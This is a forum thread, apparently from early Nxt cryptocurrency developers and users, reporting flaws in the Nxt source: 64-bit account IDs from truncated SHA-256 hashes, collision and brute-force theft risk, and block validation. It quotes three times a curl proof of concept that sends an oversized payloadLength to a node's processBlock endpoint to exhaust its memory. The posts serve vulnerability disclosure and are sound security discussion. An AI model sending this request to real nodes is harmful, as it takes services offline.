Nxt source code flaw reports

[Jaguar0625]

initializeKeyPair returns an account id that is used to unlock an account.

However, the account number is comprised of only the first 8 bytes of the hash of the account's public key.

It was discussed since the beginning
If you do at least one transaction (even alias), account public key will be revealed to blockchain, so it protect you account from stealing.

The only problem remains is account ids collision. C-f-B promised that when such collisions appears in real life, devs just increase number of used bytes from hash.

So it's not a bug, but a feature.

I know this has been discussed before, but I was never convinced by the answer and, after looking at the code, I'm less convinced.

The collision problem is a BIG deal.
In order to remedy it, we're assuming:
(1) We can detect it happening in the wild before a lot of NXT is stolen and/or no one exploits it to steal NXT (which has proven to be false as people have already stolen from NXT accounts with simple passphrases)
(2) There is no cost in changing everyone's address in the future to accomodate extra digits (which seems like a nightmare worse than Y2K that will cause NXT a lot of harm)
(3) There appears to be a race condition if two accounts get created that map to the same account number since there is no deterministic way to determine which one will actually get created, and it would actually be possible for both accounts to exist in different parts of the network until one gets overwritten by the other (granted this is an edge case)

It seems foolish me to promote NXT as a "cryptographic" currency when:
(1) It's using a hashing function that isn't even proven to be cryptographically secure (since as I pointed out earlier a subset of a hash is not guaranteed to have the same characteristics as the entire hash)
(2) It is using a 64-bit "hash", which is substandard with respect to security

What's the feature? To make it easy for NXT to be stolen?

[1714978400]

1714978400

[1714978400]

1714978400

[Meizirkki]

I agree the 64 bit address space is like the millenium bug of nxt. Someone can bruteforce all adresses and set up a script to automatically scan the blockchain and steal coins that aren't yet safe.

[pandaisftw]

might not be the right thread - you can ignore..
right now there's 1 MB needed to store 5000 transactions in transactions.nxt
how compares NXT blockchain size to BTC chainsize in the future? I guess it's similar?
when CfB talkes about possible 1000 ta/s in the future, how can any decentralized network store this?
distributed storage? HD storage and internet bandwith will not scale up infinitely.

In NXT, I believe that there is a maximum blockchain size (meaning, it will never go beyond a certain limit) because of the way proof of stake works.

[ImmortAlex]

might not be the right thread - you can ignore..
right now there's 1 MB needed to store 5000 transactions in transactions.nxt
how compares NXT blockchain size to BTC chainsize in the future? I guess it's similar?
when CfB talkes about possible 1000 ta/s in the future, how can any decentralized network store this?
distributed storage? HD storage and internet bandwith will not scale up infinitely.

In NXT, I believe that there is a maximum blockchain size (meaning, it will never go beyond a certain limit) because of the way proof of stake works.

Right now it is 2³¹ blocks and 2³¹ transactions (due to internal structures, nonsense in perspective), plus usual file size limit (nonsense on any modern FS).

[joefox]

Hey gang,

Any thoughts on this?  https://nextcoin.org/index.php/topic,2418.0.html

When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.

Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'

* Tested against 0.5.0

[Come-from-Beyond]

@CfB,
Appreciate what the team is doing. Since someone is managing the sizeable unclaimed genesis funds, can I suggest stakeholders who want to help but are unable to do so directly for lack of time, skills or other reasons be allowed to channel donations into this fund. There will be no extra work for the fund manager, just more available resources. If that's OK, I'll be the first to send the 1M Nxt pledged for s/w dev but currently sitting idle.

We should use another fund for this, more decentralization is better.

[Come-from-Beyond]

might not be the right thread - you can ignore..
right now there's 1 MB needed to store 5000 transactions in transactions.nxt
how compares NXT blockchain size to BTC chainsize in the future? I guess it's similar?
when CfB talkes about possible 1000 ta/s in the future, how can any decentralized network store this?
distributed storage? HD storage and internet bandwith will not scale up infinitely.

Service Providers will solve these problems. Annual shrinking solves the problem of evergrowing blockchain.

[Come-from-Beyond]

Two thoughts:
(1) Couldn't this lead to blacklisting good peers just due to network latency (thinking of the future when a lot of transactions are being made)?
(2) Couldn't a rouge peer send out blocks with really high difficulties to get other (good) peers blacklisted? It doesn't look like the difficulties are being validated anywhere.

1. They'll be unblacklisted after a short period of time.
2. They can't do that without providing valid blocks or being blacklisted.

[Come-from-Beyond]

initializeKeyPair returns an account id that is used to unlock an account:

Code:

case "unlockAccount":
	{
		
		String secretPhrase = req.getParameter("secretPhrase");
		BigInteger accountId = user.initializeKeyPair(secretPhrase);
...

However, the account number is comprised of only the first 8 bytes of the hash of the account's public key:

Code:

BigInteger initializeKeyPair(String secretPhrase) throws Exception {
			
	this.secretPhrase = secretPhrase;
	byte[] publicKeyHash = MessageDigest.getInstance("SHA-256").digest(Crypto.getPublicKey(secretPhrase));
	BigInteger bigInteger = new BigInteger(1, new byte[] {publicKeyHash[7], publicKeyHash[6], publicKeyHash[5], publicKeyHash[4], publicKeyHash[3], publicKeyHash[2], publicKeyHash[1], publicKeyHash[0]});
	
	return bigInteger;
}

The SHA-256 hash is secure because it creates a 256-bit number and a negligible (albeit non-zero) hash collision probability. In practice, hash collisions can usually be ignored (although in this case since it is dealing with currency, the implications of a hash collision are especially concerning since people would be able to use other's money or block them from using their money.

However, by reducing the identifier from 256-bit to 32-bit the possibility for hash collisions is exponentially greater. Also, there's no guarantee that a hash algorithm (i.e. SHA-256) guarantees that subsets of its produced hashes are also hashes. What this means is that there's no guarantee that the first 32-bits of SHA-256 hashes are even as good as 32-bit hashes.

Even BitCoin addresses are much more secure in that they are 160-bit (real) hashes (http://bitcoin.stackexchange.com/questions/7724/what-happens-if-your-bitcoin-client-generates-an-address-identical-to-another-pe).

I think it's critical that we make NXT at least as secure as Bitcoin.

All 256 bits r checked after the very 1st outgoing transaction is made.

[Come-from-Beyond]

What's the feature? To make it easy for NXT to be stolen?

https://bitcointalk.org/index.php?topic=345619.msg4352067#msg4352067

[Come-from-Beyond]

Hey gang,

Any thoughts on this?  https://nextcoin.org/index.php/topic,2418.0.html

When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.

Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'

* Tested against 0.5.0

Isn't this memory garbage collected?

[Come-from-Beyond]

(1) It's using a hashing function that isn't even proven to be cryptographically secure (since as I pointed out earlier a subset of a hash is not guaranteed to have the same characteristics as the entire hash)

From http://crypto.stackexchange.com/questions/9435/is-truncating-a-sha512-hash-to-the-first-40-characters-as-secure-as-using-sha1

As far as truncating a hash goes, that's fine. It's explicitly endorsed by the NIST, and there are hash functions in the SHA-2 family that are simple truncated variants of their full brethren: SHA-256/224, SHA-512/224, SHA-512/256, and SHA-512/384, where SHA-x/y denotes a full-length SHA-x truncated to y bits.

[ImmortAlex]

Hey gang,

Any thoughts on this?  https://nextcoin.org/index.php/topic,2418.0.html

When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.

Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'

* Tested against 0.5.0

Isn't this memory garbage collected?

It's not a matter of garbage collections.
The problem is that NSR trust some numbers from outside. Dealing with OOME is not that simple...

I'm looking through the source, and have strong feeling that payloadLength can be easily ignored at all. Ignored and throwed out from protocol.
In generateBlock() local variable is used to check on MAX_PAYLOAD_LENGTH limit, than just set to corresponding block variable.
In pushBlock() it is used in checks in the begininng, but checks easely can be done later, on transaction checking.
In loading thread and "processBlock" request it is used to create ByteBuffer with desired size, but it's always better to use dynamic-sized buffer anyway, with some checks on max size.
In "getNextBlock" request it is used to limit response, but again you can calc it dynamically with transactions.
Elsewhere it is just readed from JSON and writed back.

[NxtChoice]

I don't know the real case in Nxt. But if the 64-bit address is cut from 256-bit address, then it should be accepted. We can expand the address if collision takes place.

[Come-from-Beyond]

Code:

if (newBaseTarget == 0) {
				
				newBaseTarget = 1;
				
			}

Can someone PLEASE explain why 1 was chosen for the above situation?

If I am not mistaken... this situation arises when previousBlock.baseTarget == 0 and/or lastBlock.timestamp == previousBlock.timestamp.


thnx  

If base target is 0 then blocks can't be generated. This problem can arise if u calculate 1/2 using integers.

[ImmortAlex]

C-f-B, do you know why we have 900 blocks per day, not 1440? This rate is stable for many days.
I'm trying to find some flaws in target/hit calculations, but have no good thoughts still.

[ImmortAlex]

If base target is 0 then blocks can't be generated. This problem can arise if u calculate 1/2 using integers.

I see... but why the 1 as opposed to other assignments like maxBaseTarget?

Because when you divide 1/2 you must not get 153722867000000000

[Come-from-Beyond]

C-f-B, do you know why we have 900 blocks per day, not 1440? This rate is stable for many days.
I'm trying to find some flaws in target/hit calculations, but have no good thoughts still.

This shows stability of the network, currently it's 63% (900/1440). We'll see ~100% when TF unleashes its full potential.

[Meizirkki]

All 256 bits r checked after the very 1st outgoing transaction is made.

This is not a solution IMO. 2^64 is "only" 18446744073709551616 addresses. If not already possible, it isn't going to take many years for someone to gain the ability bruteforce and store keys to all of these addresses and automatically empty any "new" Nxt account whenever it's "made".

Unless ofc I'm missing something. Do tell if I am.

[Come-from-Beyond]

All 256 bits r checked after the very 1st outgoing transaction is made.

This is not a solution IMO. 2^64 is "only" 18446744073709551616 addresses. If not already possible, it isn't going to take many years for someone to gain the ability bruteforce and store keys to all of these addresses and automatically empty any "new" Nxt account whenever it's "made".

Unless ofc I'm missing something. Do tell if I am.

Difficulty to hack any of such accounts ~ 2⁷¹/numberOfAccounts of SHA256 operations.

Edit: U can't compare this to Bitcoin network coz there r no ASICs implementing Curve25519 yet.